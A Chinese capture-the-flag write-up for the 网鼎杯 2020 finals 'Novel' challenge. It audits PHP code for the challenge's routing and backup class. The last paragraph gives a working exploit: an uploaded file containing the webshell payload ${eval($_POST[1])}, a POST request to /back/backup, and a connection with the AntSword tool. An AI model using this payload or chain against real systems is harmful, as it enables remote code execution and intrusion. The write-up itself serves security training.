[网鼎杯 2020 总决赛]Novel
解题步骤
下载代码,直接来一波代码审计。index.php关键代码
$parameters=explode('/',explode('?', $request)[0]);
$class=(isset($parameters[1]) && !empty($parameters[1]))?$parameters[1]:'home';
// echo $class;
$method=(isset($parameters[2]) && !empty($parameters[2]))?$parameters[2]:'index';
// echo $method;
$config['class']=$class;
$config['method']=$method;
if(!empty($class)){
if(in_array($class, array('upload','home','back'))){
// echo $class;
$class_init_config=call_user_func($class, $config);
// print_r($class_init_config);
new $class_init_config['class']($class_init_config['data']);
}else{
header('Location: /');
}
这里相当于实现了tp的/类/方法
的路由模式。因为在类声明里面已经设置了方法传参限制。upload里面没有什么可利用的,但是在back类里面有利用点
function __construct($config){
$this->filename=$config['filename'];
$this->method=$config['method'];
$this->dest=$config['dest'];
// var_dump($config);
if(in_array($this->method, array('backup'))){
$this->{$this->method}($this->filename, $this->dest);
}else{
header('Location: /');
}
}
public function backup($filename, $dest){
$filename='profile/'.$filename;
if(file_exists($filename)){
$content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
$password=$this->random_code();
$r['path']=$this->_write($dest, $this->_create($password, $content));
$r['password']=$password;
echo json_encode($r);
}
}
/* 先验证保证为备份文件后,再保存为私藏文件 */
private function _write($dest, $content){
$f1=$dest;
$f2='private/'.$this->random_code(10).".php";
$stream_f1 = fopen($f1, 'w+');
fwrite($stream_f1, $content);
rewind($stream_f1);
$f1_read=fread($stream_f1, 3000);
preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);
if(!empty($matches[0])){
copy($f1,$f2);
fclose($stream_f1);
return $f2;
}else{
fwrite($stream_f1, '<?php exit(); ?>');
fclose($stream_f1);
return false;
}
}
private function _create($password, $content){
$_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
return $_content;
}
认真分析一波。发现这个类会把已上传的文件备份为php文件,这直接起飞了。过滤了html标签,不能用?>闭合,但是可以用php复杂变量进行写shell。
先上传一个asd.txt文件,内容为${eval($_POST[1])}
。然后去到/back/backup
,POST:filename=asd.txt&dest=asd.txt
,然后就会给你路径和密码,直接打开,蚁剑一把嗦即可